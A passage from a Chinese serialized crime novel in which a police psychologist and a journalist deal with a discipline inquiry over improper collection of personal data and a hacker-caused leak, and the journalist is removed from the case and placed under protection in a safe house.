这种事,不上秤没有四两重,一上秤一千斤也打不住。首先这个就涉及到侵犯公民隐私权的问题,哪怕是为了做刑案调查,也涉及到违规调查取证,若是被举报,一定会被纪委约谈。 所以秦梓需其实内心很着急,她怕这件事一旦被纪委介入,那么不仅害了章弥真,连她们当前的案件调查都要被拖累。 她飞快地把车开到了数媒中心楼下,再次给章弥真打电话,这回章弥真终于接了。 “老秦?什么事啊。” “你有没有事?我在你们楼下。”秦梓需开门见山。 “你来做什么,案子查完了吗?”章弥真反问。 “暂时查完了,我…我很担心你这里的情况,我能上来吗?” “你等一下,我问问。”章弥真的回答有些出乎意料,她没挂电话,秦梓需听到了脚步声,她似乎走了几步,随后就听她向某人解释秦梓需的来意,秦梓需随即听到了一个低沉的男声回道。 “好,请秦警官上来吧。” “你等会儿啊老秦,我马上下来接你。”章弥真的声音重新在听筒旁响起,随即电话就挂断了。 秦梓需在车子里坐不住了,她下了车,在车头前来回踱步。没走两步,她就注意到停在不远处的一辆公务车,内心的猜测被印证了。下午三点左右的艳阳,烤得她浑身火辣辣的,一如她内心的焦灼。 章弥真很快出现在了门口,步伐沉重,眼眶发红,在同样的位置上,上回她笑呵呵地打趣秦梓需开了一辆老气横秋的车,而现在的她似是连喊一声秦梓需的力气都没有了。 但她仍然倔强地整理出一副平静的神色来,让不了解她的人,看到她时觉察不出她的不对劲。 但秦梓需已不像上回时那样不了解她了。 “纪委来了?找你谈话了?”秦梓需走到她跟前,说出的第一句话就打进了章弥真的心窝。她的伪装霎时间不见了,难堪地撇开头去,喉头动了动,将泪水强行凝在眼眶中,不肯流下。 秦梓需抬手拍了拍她的肩膀,道:“你受委屈了,我来做解释吧。” “不,这事儿是我的错,我认,和你无关,你别跟我抢。”章弥真出口一句话,将秦梓需推开老远。 “是我要查……” “是我查的方式不对,你没有让我这么做!”章弥真立刻打断秦梓需的话。 “没有你,我们根本没那么快能查出来。”秦梓需温和回道,“你是我拖下水的,你的所有事都有我的份,有什么责任,我跟你一起担。” “老秦,你别忘了你这次从北京回来最终的目的是什么。查案到这个节骨眼上,耽误不起,别感情用事。”章弥真抱起双臂,摇头道。 “这么严重啊,我会被纪委带走吗?我不能查案了吗?”秦梓需突然笑问。 “……”章弥真一时间被噎了一下,随后她愠怒道,“你别不当回事,这事儿很严重!带不带走我不知道,反正可能会影响前途。” “行,那我一会儿上去全推到你身上,就说都是你的错,我一点不沾边。”秦梓需道。 “你!”章弥真气得七窍生烟。 “这件事你想揽责,你背得动吗?我要想把一切都推给你,我推得掉吗?千万别把纪委当傻子,这里面到底怎么回事,他们心里门清。”秦梓需淡淡道,“你应该没怎么跟纪委打过交道吧,还是我来好了。你看,他们能让你下来带我上去,就说明问题不严重。” 章弥真很无奈,她承认自己完全被秦梓需看穿了,而且也被说服了。她只能提醒道: “不论如何,我可能都会被撸掉,我已经做好心理准备了,你最好也心里有数。”说完她就带着秦梓需乘坐电梯上楼。 秦梓需再次故地重游,数媒中心还是那番忙碌的景象。只是这回她跟着章弥真穿过办公区时,迎来了诸多窥视。 进入章弥真工作组的办公区域,几位组员都在,大家脸色都不好看。孙影坐在沙发上,更是哭得眼睛都肿了,吴岚和朱瑛正坐在她身侧,小声安慰她。周子鹏垂头丧气,刘为朗则显得异常紧张,抖腿不止。 见到章弥真带着秦梓需来了,众人齐刷刷向她们行注目礼。秦梓需和每个人的目光都对了一下,唇角牵出一个微不可查的笑容,随即就跟章弥真一起进入了内部会议室。 章弥真随即被请了出来,纪委要单独询问秦梓需。 秦梓需进门,一眼看到三名穿行政白衬衫、佩戴党徽的男子,一中年、两青年,一眼就知道是纪委的人。他们身边陪坐着另外两名中年男子,应该是东海日报的高层,秦梓需估计是总编和总经理。 一名青年男子请她在会议桌对面落座,秦梓需照做。 “秦警官,幸会,久仰了。”秦梓需刚落座,主座上穿着行政短袖白衬衫、戴眼镜的中年男子就开口打招呼道。 “您认识我?”秦梓需问。 “张鑫教授编写的《预审心理学》是我们纪委也要读的教材,您是那本书的第二作者。”对方解释道。 “您客气了,我只是做了些微不足道的工作。”秦梓需淡淡道。 “好,我自我介绍一下,我是市纪监委驻市公安局纪检监察组的胡晨,这一次问询,不算是正式讯问,但我们的对话还是会被记录。” 秦梓需应了一声,表示明白。 随即按照一般流程,胡晨先是问了一遍秦梓需的基本情况,例行核实身份,然后才开始正式提问。 “我们从章弥真那里得知,是您邀请她参与这次的刑案侦查的,对吗?” “是。” “那么,她冒教育局之名,搜集民众个人信息的事,是您指使的吗?” “我事先不知情。”秦梓需如实答道,“我只是把这个侦查任务交给她,她说她有办法可以查到。” “那么您事后是知情的?” “是的,我知情。我有责任,我事先没有跟她讲明侦查规章纪律,她犯错是我的引导和监督不够。”秦梓需道。 “嗯,具体情况我们也从刘明城总队长那里知晓了,这件事,章弥真本身并无主观恶意,也没有以此牟利,她的出发点就是为了查案,她的身份是一般群众,并非是公职人员,我们已经对她做了批评教育和提醒,不会进一步追究。 “我们比较想要了解的是,您为什么会选择这样一位一般群众来参与刑案侦查,这并不合规。” 秦梓需道:“我和她是初中同学,同年级不同班。我们正在侦查的案子比较特殊,与我们初中时的学校老师、同学有莫大关系,她的存在能帮助我很多。我从北京到胥城来时,旧案尚未重启调查,我一个人查案力有未逮,全靠她帮忙。即便案件重启,她在我身边依旧给了我莫大的助力,这种作用不是其他的公安同志能够替代的。” 胡晨一时没有继续提问,他看着秦梓需,半晌才道: “很遗憾,秦警官,你们这么做已经给章弥真带来了麻烦,我们希望你能慎重考虑此事,让她脱离刑案调查。这件事,我也已经向省厅和市局领导反应过了。” 秦梓需蹙起眉头,问道:“本次东海日报的舆情,和我们正在调查的案子有关系吗?” “一码归一码,舆情和你们无关,东海日报已经报警了,网警正在侦查,结果还不好说。秦警官,我们是公职人员,在其位谋其政。我们办案可以倚靠群众,但不能给群众带来麻烦,更不能让群众有性命之危,这个责任谁也担不起。我希望您能为章记者着想,不能再让她继续冒险了。”胡晨讲话相当直白,并不绕弯子。 秦梓需双唇紧抿,眸光已然盖下阴翳。 第62章 第六十二章 谈话结束,纪委率先离开。但秦梓需还不能离开会议室,因为东海日报的主编和总经理也要找秦梓需谈话,不过他们就显得客气很多。 而他们的诉求,无非就是让秦梓需尽快让章弥真脱离开刑案调查,让她回归岗位好好工作。 总编向秦梓需诉苦:“不瞒您说,这一次小章她们工作室出事,也是因为她这个把关的人不在造成的。从前怎么可能会发生这样的事?她们工作室,不论什么稿件,最后都是她跟吴岚两道关把着,审核没问题才会发。” 秦梓需抬手,打断总编道: “因为我对整个事件的来龙去脉还不是很清楚,我冒昧问一下,究竟怎么会把内参机密文件发出去的?” “我们也感到不可思议。”总编摊手道,“就是前天的事,那天赶上了商场大火事故,夜里10点多的事。章弥真小组的刘为朗恰好就住在火灾现场附近,他第一时间到现场取材、写稿,发给孙影做了短视频新闻,然后送到了吴岚那里审核,再传回给孙影来发。因为账号是孙影管理的。前面几个环节都没出错,可不知道孙影怎么搞的,最后发出来的居然不是火灾报道,而是那篇教育厅内参消息,而且还把单位抬头和印章全发出去了。 “然后就有自媒体用最快的速度把内参消息的内容整理后另外发出,一传十十传百,一发不可收拾。原本的内参消息那张图后来都没人看到了,大家只看那些断章取义、被完全扭曲过后的内容了。” “所以内参消息确实存在?”秦梓需确认道。 总编点头:“存在,这个内参消息,是前段时间教育厅在全省范围内形成的调研报告,我们东海日报一直有编发新闻内参的任务,所以报告我们拿到后,是要编入内参刊物去给特定人群刊发的。” “孙影负责内参刊物吗?” “问题就在这里,她压根就不负责这部分内容呀,这部分的内容也不在她手里。我们到现在都搞不清楚,怎么会是她误操作,把内参消息给发出去了。网警说,她的设备可能被入侵操控了,这事儿是黑客干的。 “我真是觉得匪夷所思,为什么黑客要干这种事?这能有什么好处?单纯是为了让教育厅和我们东海日报难堪吗?还是说是我们之前的离职员工,对我们心怀怨恨,要报复,唉……这个世道,真是……”总编唉声叹气。 总经理在旁补充道:“而且前段时间,小章带着她们几个年轻人冒充教育局搞什么问卷调查,教育局的一个干事,叫什么柳鸣的,也是脑子瓦特了,居然把那么多人的信息就这么给小章了,这是什么性质?简直胡闹!等人家回过味来,立刻就被匿名举报到纪委那里去了,这下真是黄泥巴掉□□了。” 秦梓需眉头紧锁地听完这一切,缓缓道: “二位领导,事情的发生一定有原因,不会是无缘无故的。黑客这件事,包括匿名举报的事,我希望你们心里有一个底。我在这里可以保证,这件事是针对章弥真来的,是谁干的,早晚会查明白,但我想,一定与章弥真最近得罪的人有关。” “章弥真最近又得罪谁了?”两人迷惑问道。 “我们正在查的案子的犯罪嫌疑人,是个顶尖黑客,他已经盯上章弥真了。这个人没有底线,任何有可能威胁到他的人,他都会毫不留情地下死手。章弥真现在就算想要退缩,也是不可能的。唯一的出路,就是和我们公安协作,尽快抓捕这个犯罪嫌疑人,这个道理,你们懂吗?”秦梓需乌黑的眼眸里仿佛凝着一团化不开的墨。 此言一出,屋内的温度似乎骤降了一两度,两位领导半晌哑口无言。到最后,也只是留一下一句再讨论,结束了这次谈话。 秦梓需终于从会议室里出来了,章弥真立刻迎了上来,把她拽去了楼梯间单独谈话。 “他们有没有为难你?”她眸光直勾勾地盯着秦梓需。 “没事。”秦梓需安抚道。 “老秦,你和我说实话,你接下来会不会有麻烦?”章弥真抓着她的手臂问。 “麻烦是会有一点,但很快就过去了,你顶多会被停止调查几天,避一避风头。但你现在和我一起住在安全屋,还是能间接参与调查的。”秦梓需道。 “我问的是你啊。”章弥真道。 “我没事,他们动不了我。”秦梓需淡淡道。 “嚯,你倒是硬气。”章弥真颇有些讶异,秦梓需在她眼里一直是一副老实和善的模样,与世无争的,甚至有些软弱。她没想到秦梓需在面对纪委带来的压力时,居然一点不怵。 “我师傅的学生很多,除了公安,纪委也有很多人是他的学生。在古代,这些人算是记名弟子,而我是唯一的入室大弟子,多多少少不看僧面看佛面。而且,我背后不还有校长在嘛。”秦梓需道。 “那就好,幸亏你有靠山,不然就要被搞倒了。我就怕万一撤换调查负责人,你就没办法继续查案了。”章弥真道。 “弥真……”秦梓需欲言又止,章弥真有些急了,在她开口催问之前,秦梓需道,“我能想到的最坏的状况是他们逼你强行退出安全屋,把你转移去其他的地方。” “我不会同意的,他们强迫不了我!”章弥真立刻道。 “我们刚查到邵彦华移民在美的地址,就在芝加哥,是你留学时最熟悉的地方。我很需要你跟我们去芝加哥查一下情况。所以……” “哦,芝加哥,这么巧啊。”章弥真嘀咕了一句,随即问,“所以什么?” “如果我被强行派往芝加哥或者韩国,而你不能去,我们最终还是被迫分开了。一旦分开,他们就不会再让你加入了。这就会正中凶手的下怀,只有在我的身边,你才是最安全的。我知道这么说显得很自恋,但……从逻辑上来看,凶手确实在试图制造麻烦,把我们俩分开,这样他才能达到他的目的。” “你也觉得这次的事是凶手在幕后操纵的?果然,真可恶!”章弥真怒叱。 秦梓需似乎一直想说什么,但表达不出来的样子。章弥真有些累了,道: “老秦,你到底要说啥啊?” “我是想说……”秦梓需舔了舔唇,脸突然涨得通红,“请你相信我,先委屈几天在安全屋里待着。我会处理好一切,到时候我们再继续一起查案。” 她这副模样,搞得章弥真也不好意思起来:“你在害羞啥啊?妈耶,老秦……” “我觉得我真挺对不起你的,给你惹了不少麻烦。”秦梓需挠头。 “你再这样说,我要生气了啊。”章弥真指了指她的眉心,她随即转身回去,开楼梯间的门时,她看向秦梓需,道, “不就是在安全屋里待着嘛,正好刚买了两桶冰淇淋,我都还没来得及吃呢,这下有时间吃冰淇淋追剧了,多爽啊。你别愣着了,赶紧跟我去安慰一下小影,小姑娘这回可被吓死了。” 说罢,就走进门里去,把秦梓需丢在了楼梯间里。秦梓需幽幽叹了口气,她最大的短板——不善于表达感情,真是在最关键的时候掉链子。 其实她想说的莫过于两个字——“谢谢”。感谢她在这种可能会吃处分、丢工作、履历抹黑的情况下,还想帮秦梓需担责任,帮秦梓需完成这次追凶。秦梓需真的很感动。 大恩莫言谢,秦梓需总感觉说出来的谢谢就轻了,是以她支吾了半天,绕来绕去,最终还是没能说出来。 她清了清嗓子,迈开步子跟了上去。她推开门,来到孙影的身前。章弥真已经在旁轻声对她说话,见秦梓需来了,她道: “小影,你听秦老师说,她说的话算数。” 孙影抬起红肿的双眼看向秦梓需,不止是她,整个章弥真工作室的成员都在看她。 秦梓需郑重道:“这件事你没有一点错,不要自责。你们放心,没有人会因为这件事丢工作的,我可以保证。” …… 给了保证,就意味着压力全部来到了秦梓需的肩头。她开车带章弥真回安全屋,之后就把自己关在屋子里打电话,做协调。 章弥真洗完澡,开了一罐冰淇淋,坐在沙发上,一边吃,一边开始刷新闻。看着网络上的舆情持续发酵。眼下章弥真工作室已经被好事者挖出来了,有人说她们是公布政府劣政的媒体英雄,有人说她们就是居心叵测、挑拨是非的无良媒体,还有猜测其中有什么利益关系的。 这些吵吵嚷嚷之于章弥真根本无足轻重,她内心很平静。 微信的图标不停地跳,是工作组的成员们正在群里互相安慰打气。章弥真暂时没有加入,看着大家一起在安慰孙影,她多少感到欣慰,至少自己手底下的人还是团结的。 吴岚开始发流浪猫的照片和视频,用可爱的猫猫来安抚孙影,孙影确实爱猫,但因为工作忙一直没能养。章弥真想了想,也凑了个热闹,把此前兽医发给她的猫猫照片,也转到了群里去。 【我刚领养的两个小家伙,还没起名字呢,你们帮我想想。】章弥真打了一行字。 “……这是不对的,他的目的就是把章弥真隔离开……”秦梓需在屋子里打电话的声音突然透了出来,秦梓需说话声音不算大,但偶尔也会因为激动而拔高语调。 章弥真心想老秦这会儿恐怕很难受吧,毕竟处理人际关系是她很不擅长的事。 电话从晚上7点多一直打到了9点多,秦梓需终于从屋里出来了。章弥真将手里的冰淇淋递到她跟前,道: “吃点,消消火。” 秦梓需接过来,倒也不嫌弃那勺子是章弥真吃过的,直接挖了一勺就送进嘴里。结果被冰得直皱眉头。但最初那阵刺激过后,醇厚丝滑的口感伴着甜蜜蜜的香草气息顺入喉管,让她浑身一阵通透,她承认她有爽到,刚才高强度沟通的压力被瞬间缓解了。 “咋样啊?”章弥真问。 “能打电话的都打了,该说的话也好说歹说说完了。我给校长打电话,校长说他会帮忙协调,让我别有压力。我给刘总打电话,刘总说,这事儿他比我们要早知道一天,已经在和各方面沟通了。明早领导要开个小会,决定处理结果。所以,等明天吧。”秦梓需瘫在沙发上,有气无力道。 “那你快洗澡去,早点睡,别烦心了。”章弥真催她。 “呜……今天全耽误了,没怎么研究案情。”秦梓需道。 “哎呀,都什么情况了,还研究案情。不急这一时半会儿的,好好休息才有体力应付后面的事。”章弥真真是无语了,心想这人已经把查案融进生活作息了。 “你怎么样,还好吧?”秦梓需观察章弥真。 “我挺好的啊,一点不受影响的。”章弥真继续吃她的冰淇淋。 “真的,你别装哦,心里有事要说,别老想着自己担着。”秦梓需道。 “嗨,你不是心理学专家吗?那你看我像不像装的?”章弥真笑问。 “少吃点冰淇淋。”秦梓需起身,路过章弥真身边时,顺手把她还没吃完的冰淇淋桶夺走了,盖好后送回冰箱,就去洗澡去了。 “诶,我跟你讲哦,我在美国读书时,就在这家冰淇淋的门店里打过工的,每次做工结束,老板都会送我一份冰淇淋,这可是最能让我解压的食物了,喂,你听到没?”章弥真愤愤地朝浴室的方向喊道,可秦梓需压根不理她,浴室门啪的一声关了。 她咬着勺子,心想这人居然也有这么霸道的时候。 她扭头去看微信,发现孙影道: 【真老板,这两只小猫,要不就叫真真和香香吧。】 【啥?真香定律吗?哈哈哈】大鹏被逗笑了。 章弥真噗嗤一笑,确实挺真香定律的,虽然是可恶的杀人犯送给她的猫,她却真当宝贝了。孙影这个起名方式倒是启发了章弥真: 【那就叫阿真和小梓吧。】章弥真最后定下了名字。 第63章 第六十三章 章弥真刚给小猫定了名字,就收到了吴岚发来的私信:【真真,你的那两只小猫养在哪儿了?你不是最近都不在家里住吗?】 【寄养在我家小区门口那家宠物医院了。】章弥真回道。 【哦,我在想,要不要把那两只小猫先接到公司来,我先帮你养着。】吴岚回道,【小影很喜欢猫的,这次的事真的把她吓到了,我想着有两只小猫在公司陪着,她心里会舒服很多。】 【好主意啊!】章弥真心想这多好,让吴妈这个养猫达人来养,她自然是一百个放心,而且有同事们给她拍猫猫的片子,就不用老是去麻烦人家兽医了,怪不好意思的。 【那事不宜迟,我明天去接一下小猫?】 【不不不,你别去,那里不安全。我联系一下兽医,让兽医帮忙送到公司去,大不了给点钱。】章弥真道。 【真真,你真的没事吧,我感觉你跟着那位秦警官做事,惹了好大的麻烦啊。】吴岚很担心地问。 【我没事,也就这一阵,很快就过去了。】章弥真安抚道。 接着章弥真就去联系了兽医,一个消息发过去,兽医半晌没回,章弥真看了一下时间,已经不早了,她估摸着人家兽医可能已经睡了。 于是她也去刷牙上床,准备睡觉了。 等她躺下,洗完澡的秦梓需也出来了,她路过章弥真的房间时,敲了下门,但没有开门进来,只是在门口道: “早点睡,晚安。” “晚安。”章弥真应了一声,心想这人突然好关心她,像她妈似的,怪不习惯的。 一夜无话,第二天早上,章弥真睡得迷迷糊糊的,突然被秦梓需给叫醒了。 “起来了,弥真。” 啊?章弥真艰难地睁开眼,摸到床头柜上的手机,一看,五点半。 “干啥啊?起这么早?”她觉得不可思议。 “他们来帮你收拾行李了,你要走了。”秦梓需面无表情地道。 “啊?是结果出来了吗?我不能继续调查了吗?”章弥真顿时清醒了。 秦梓需不语,只是默然走了出去,章弥真试图挣扎着爬起来去追她,感觉手脚都不听使唤,身子无比沉重,像是被什么外力压在床上一般动弹不得。但她终于还是下床了,结果一出房间门,突然看到一个浑身黑衣、戴着兜帽的男子,手里提着一把斧头像她冲了过来。 “啊!”章弥真惊叫一声,霎时被吓醒了。一睁眼,还是那个熟悉的房间。外头天光已大亮,房间里空调已经自动关机,有些许滞闷。她瞪着天花板,感觉浑身冷汗涔涔,心跳很快,半晌缓不下来。 她小声咒骂了一声,这种梦中梦、鬼压床的情况已经很久没有出现过了,从前她还是战地记者时,夜里时常会出现这种梦,那时候的她每天都处在精神高度紧张的状态中。 她没有想到,如今的自己好像又回到了当年的情境中。她以为自己很平静,但实际上恐惧已经如晕染在水中的淡墨,丝丝缕缕侵入血液,以至于潜移默化地影响到了睡眠。 她看了一下时间,幸好不是五点半,是七点差几分。她感到口干舌燥,于是起身,打算赶紧去刷牙喝水,顺便洗个澡。 一开房门,就看到秦梓需站在她门口,正犹犹豫豫地准备敲门。 “诶?你醒了啊,早。”秦梓需道。 “你干嘛?”章弥真瞪大眼睛盯着她,突然心跳加速,这家伙怎么会做出跟梦境里差不多的行为?难不成那个梦是个预言,会应验? “呜,我刚好像听到你叫了一声,我是不是听错了?”秦梓需抓了抓有些凌乱的短发,她还穿着宽大的T恤和短裤,在家里时她都是这种行头。 “我……”章弥真垂眸,有些耳根发红,“你听错了。” “哦。”秦梓需抓了抓手臂上被叮的蚊子包,迷迷糊糊地转身往她自己的房间里走。 “老秦……”章弥真突然出声喊住她。 “嗯?”秦梓需应了一声。 章弥真突然上前一步抱住了她,秦梓需浑身一僵,登时不知所措。 “怎么了这是?”她小心地问。 “我做噩梦了。”章弥真的声音透着一股罕见的委屈感。 “别怕,我这不是一直在嘛。” “你要是不在怎么办?”章弥真问。 “我会在的。”秦梓需很笃定地说道。 “那行。”章弥真像是毫无怀疑地认定了秦梓需的这句话,她松开怀抱,转身飞快地钻进了卫生间。 秦梓需僵在走廊里,心情有些凌乱。 等洗漱完毕,两人坐在餐桌边吃早饭时,章弥真已经恢复成了那个光鲜亮丽、强势精英的模样。秦梓需咬了口面包,瞥了章弥真一眼。 但还是被抓包了,章弥真道:“看啥呢?今天咱俩是什么行程来着?” “先不急,我在等消息,一是等领导的消息,二是等美国那里的消息。”秦梓需道。 “好嘞,那一会儿我先去忙一下我自己的事。”章弥真道。 仿佛是为了响应秦梓需的话,她的内部手机立刻就响了,秦梓需看了下来电,道: “是谢支的电话。” 随即便接通了:“喂,谢支。” “秦老师,早啊,跟你汇报一下最新消息。你们昨天查到的那个芝加哥的地址,美国那里有反馈了,葛明桂的眼科医疗器材公司确实是存在的,公司注册地址,也就是办公点也确实存在。 “不过,邵长生并不是葛明桂的合伙人。芝加哥警方上门去问了,他说他压根不认识邵长生。美国税务局那里也有反馈,说查不到所谓的邵长生的纳税记录。芝加哥警方也去了你们查到的那个居住地址,居住在那里的人根本不是邵长生,而是个白人家庭。所以,邵长生这个人很可能压根不在美国。” “不在?那邵长生的家里人呢?都不在吗?” “应该都不在,这几个人在美国那里查不到任何纳税和消费记录。你知道美国税务局和美警是什么角色,非法移民且不论了,高净值人群投资移民过去,怎么可能不被吸血的?这些公家衙门成天就盯着那些发了财的华裔,所以邵家绝不可能从他们眼皮子底下消失。除非是葛明桂撒谎。”谢云卿道。 “难道是太平洋移民中介做的假资料?不会吧。”秦梓需喃喃道。 “应该不会,移民这件事是真的,只不过邵长生一家人在美国逗留的时间很短,可能只是中转了一下就又离境了,而且是换了身份离境的,出入境记录查不到。”谢云卿道。 “那这件事葛明桂怎么可能不知道呢?他作为合伙人,投资移民时他是担保人啊。”秦梓需蹙眉问。 “对,我们也怀疑他撒谎了,现在美警正在调查他。”谢云卿道。 “看来……去美国的必要不是很大了,美国只是这一家人的中转地,他们可能通过美国又去了别的什么地方,最大的可能是洗了一层身份,又回来了。”秦梓需道。 “是,还是去韩国调查比较紧迫,部里的消息应该快了,到时候你肯定是要去的。”谢云卿道。 “那其他组有没有查出别的新东西?”秦梓需昨天一天都没等到实时通报,估计就是没结果。 “移民中介那边没什么问题,已经查完了。邵长生那里查得比较不顺利,主要是年代太久远了。”谢云卿道。 “耿队那里遇到麻烦了吗?” “对,死磕档案呢,总之9点有个案情会,你来参加就知道了。” 秦梓需闻言,看了一眼章弥真,章弥真正一边埋头吃早饭,一边听秦梓需打电话,没有注意她的目光。 “那是我们俩一起去参加吗?”秦梓需含混地问。 这个提问,终于引起了章弥真的注意,她看向秦梓需。 “我不清楚,这事儿不是我能左右决定的。不过你放心,有刘总在,没什么大事。他们现在正在开会,应该快结束了,你等电话就是。”谢云卿安抚道。 “好,谢谢您,谢支。” “没事,别有压力。” 电话挂断了。 “你都听见了?”秦梓需问。 “嗯,这破电话都不用开免提,漏音。”章弥真道。 秦梓需笑了下,刚准备说什么,电话又响了。但这次不是秦梓需的手机,而是章弥真的内部手机。 章弥真望着上面的号码,吞了口唾沫,接通后开了免提。 “您好,是章弥真章记者吗?”说话的是个男中音,听着有点陌生。 “是。” “我是市公安局分管刑侦的副局长,我叫范扬。我们很感谢这些日子您给我们公安提供的大力帮助,由于我们工作上的失误,让您卷入了危险的刑事案件调查,这不符合规章制度,也是对您生命安全的不负责任。 “纪委对我们提出了批评,我们也得及时纠正错误。所以,我们只能请您脱离当前的刑事案件调查了,实在是不好意思。” 头上悬着的达摩克利斯之剑终于落下,章弥真反倒冷静得很,她道: “可我已经被卷进去了,我现在连家都回不了,只能待在安全屋里。” 范副局长立刻道:“安全屋当然可以继续居住,我们会尽快抓捕犯罪嫌疑人,还您一个安全的居住环境。” “那就是说,在那之前,我都可以住在安全屋里吗?负责保护我的警官也不会被调走?”章弥真确认道。 “对,在犯罪嫌疑人被抓捕之前,您都可以一直居住在安全屋里,我们也会保证至少有一名警员在场,保护您的人身安全。”范副局承诺道。 这话说得滴水不漏,章弥真本想让他承诺让秦梓需一直住在这里的,可现在又不好开口了。总不能把秦梓需拴在这安全屋里,不让她去查案吧。 “那我之前和你们刘总商量好的,参与刑案调查,等案子审结,我就可以报道案情了,这个事儿还算数吗?” 范副局很大气地回道:“当然,我们不会剥夺您的新闻出版权利。” “行吧,我知道了,谢谢你们。” “您太客气了,是我们该谢谢您,再次对您表示抱歉,给您添麻烦了。”范副局说话非常客气。 电话挂断了,章弥真把手机轻轻摔在了桌面上。叹了口气,望向秦梓需道: “看吧,还是没顶住。我被撸下来了。” 秦梓需的脸色不好看,她憋了半晌,道:“看来是纪委给的压力比较大,不好硬顶。只能先迂回一下,但我想是暂时的,而且话没有说得很死,有空子可以钻。” “咋的?你还想怎么钻空子,我不能去跟着你调查了。”章弥真说这话时,竟带上了几分哭腔,尽管强撑着笑颜,眼底的晶亮却还是掩藏不住,那委屈感让秦梓需心中愧疚万分。 “我可以跟你打电话嘛,实时通话,带你开会。有事儿我都第一时间跟你沟通,你这也算是间接参与了。”秦梓需道。 “这可是你自己说的哦。”章弥真起身,从自己包里抓了两个大容量充电宝塞给她,“电话不许给我断了,不然等你晚上回来,我可得找你算账。” 秦梓需拿着那两个充电宝,无奈地苦笑起来。这都什么事儿啊! 第64章 第六十四章 就在章弥真这里突发状况的时候,耿剑秋刚和他的母亲沟通完毕。他满腹心事,站在父母家小区门口猛抽烟。 过了一会儿,他似是下定了决心,上了停在路边的车,一脚油门赶往市局。 半个小时后,他坐在了谢云卿的办公室里。 “有事?耿队,你脸色不好啊。”谢云卿刚准备出去,被耿剑秋拦在了办公室里,心中感到有些不妙。 “谢支,这个案子我没法查了,我申请退出。” “怎么了?”谢云卿蹙眉。 “您应该知道我母亲曾经是长生强视的会计。我这次申请主动调查长生强视,中途脱队了,单独回了一趟家和我妈聊了一下。我问她长生强视的账目有没有问题,她一开始还不肯承认,但在我的再三逼问下,她告诉我,长生强视很可能涉嫌走私违禁药品。”耿剑秋头垂得低低的,根本不敢抬头看谢云卿。 谢云卿沉默了片刻,很冷静地问:“你母亲是财务总监或者总账会计吗?” “那倒不是,她实际上是出纳,她并没有直接的证据去证明长生强视有违禁药品走私,而是在她日常的工作中隐约感受到的。”耿剑秋道。 “那她是怎么能想到是违禁药品走私的?” 耿剑秋道:“当年听过一些风言风语,长生强视最开始有做过溶剂的买卖,就是乙/醚,是用来制备眼药水的溶剂。因为那会儿技术的问题,其实乙/醚不稳定,现在早就被淘汰了。她曾无意间听总账会计和财务主管私下里说悄悄话,说老板有段时间一直在偷偷往外拿货,量不算大,货去向不明。 “她作为出纳知道账面上有问题,又听到了这样的风言风语,内心很惶恐。她没敢吭声,后来公司转让,她也离职退休,一直没人追究,她也就没有再在意。直到我逼问她,她才很害怕地说出来。” “你等一下。”谢云卿立刻给正在查长生强视的侦查组组长打电话,“喂,是我,你们现在查的怎么样?……好,长生的财务状况有查到吗?现在你们去追一批乙/醚的货,那是几几年几月的事?” 谢云卿问耿剑秋,耿剑秋连忙回答:“2001年,几月份不大清楚,我妈回忆大概是年中,五六月份的事。” “是只丢了一批货,还是长期账目有问题?” “好像是好几批货,持续了几个月吧,至少我妈印象里是的。但她也不敢肯定,毕竟时间太久了。” “你妈妈现在手头上有证据吗?” “没有,年头太久了。”耿剑秋摇头。 谢云卿立刻对电话那一头的侦查组组长道:“就抓01年上半年的乙/醚货,找上下游企业对账,你们要是查不明白,我这边联系经侦帮忙。” 说完就雷厉风行地挂了电话,然后看着耿剑秋道:“我马上和督查的同志跟你回家去,陪着你母亲,让她尽量回忆起当年的事,不论手头上有没有证据,尽量找。只要能找出来,你母亲的嫌疑就小了。” “谢支,我妈她都七十岁了……”耿剑秋快哭出来了。 “你放心,按照我说的做,你妈不会有太大的麻烦,我们都会帮她的。不过,这个案子的侦查,你就暂时先退了吧。” …… 翌日一大清早,秦梓需带着两块大容量充电宝,在章弥真的目送下出了门。 “给我打电话啊,不然我就给你打电话了。”章弥真千叮咛万嘱咐。 “知道了,你看,你的内部电话都没被他们收走,说明还有转圜余地的嘛。我争取让你跟着去韩国。”秦梓需再次安抚她,这句话她从昨晚到今早,已经说了无数次了。 “哼,指不定一会儿他们就上门收我的内部手机了。就算收走了,微信上你也得给我消息,要是觉得不安全就直接打微信电话,知道吗?” “知道了知道了……”秦梓需连连应和,随即她也转而叮嘱章弥真,“非常时期,你尽量别离开安全屋,也就这几天的时间,有什么事网上处理。你们东海日报的高层也是这个意思,你这几天就先别去数媒中心露面了,我估摸着我不在的时候,市局会派人上门保护你的。” “谁啊?不会是小区片儿警吧。” “多半是女特警,身上有功夫,而且还配枪的那种。”秦梓需笑道。 “哇塞,我这待遇杠杠的啊。”章弥真向往起来。 “那我走了啊。”秦梓需道。 “走吧走吧。”章弥真挥了挥手,终于舍得关上了门。 秦梓需站在楼道里叹了口气,这才下楼离去。 秦梓需走后没多久,仿佛是为了验证她所说的话似的,章弥真的内部手机电话突然响了,她接通后就听一个女声道: “您好,是章弥真章记者是吧。我是市特警支队女子大队的陈薇,警号042498,我奉命保护您的安全,我大概会在一刻钟后抵达安全屋,您在屋里吧?” “哦,在的在的。” “好,到时候见。” 电话挂断,章弥真莫名其妙紧张起来,特警的到来让她意识到事态确实比较严峻了。一个丧心病狂的高智商罪犯,竟然能把公安逼到这个地步,也是十分罕见。 陈薇按时抵达,敲门后她主动提醒章弥真别急着开门,而是将警官证在猫眼口亮出,让章弥真认清上面的人名和警号。 章弥真从猫眼里看到这是一位齐肩短发的女子,身材在女子中属于比较高大结实的,穿着日常服饰,乍一看看不出是特警。她普通人长相,笑起来嘴角有梨涡,倒是很可爱,看上去是个很开朗的人。 章弥真确认无误,给她开了门。陈薇换鞋进屋,章弥真请她落座,又给她倒水。虽然这是安全屋,章弥真倒是很有主人家待客的精神。 她本就有很强的交际能力,再加上陈薇也是个性格很好的女孩,两人一见如故,很快就聊得十分熟络。 章弥真还问起她是不是配枪了,陈薇呵呵一笑,道: “不是那种真枪,是电/击枪,这个比较危险,我不能给您看。” “那你是24小时都在这儿吗?”章弥真又好奇问。 “上头没给我规定死,说是接秦老师的班儿,秦老师不在的时候我就在,秦老师在的时候我就下班了。”陈薇道。 原来如此,看来老秦确实是市局认定的自己的保镖之一啊。章弥真嘴角弯起,想想觉得有点爽。 “不过我听说秦老师可能过段时间就要去韩国了,她不在的时候,我就是24小时当班。”陈薇补充道。 此言一出,章弥真神情微微一僵。她心中一阵失落,这情绪竟强烈到让她有些难受了。 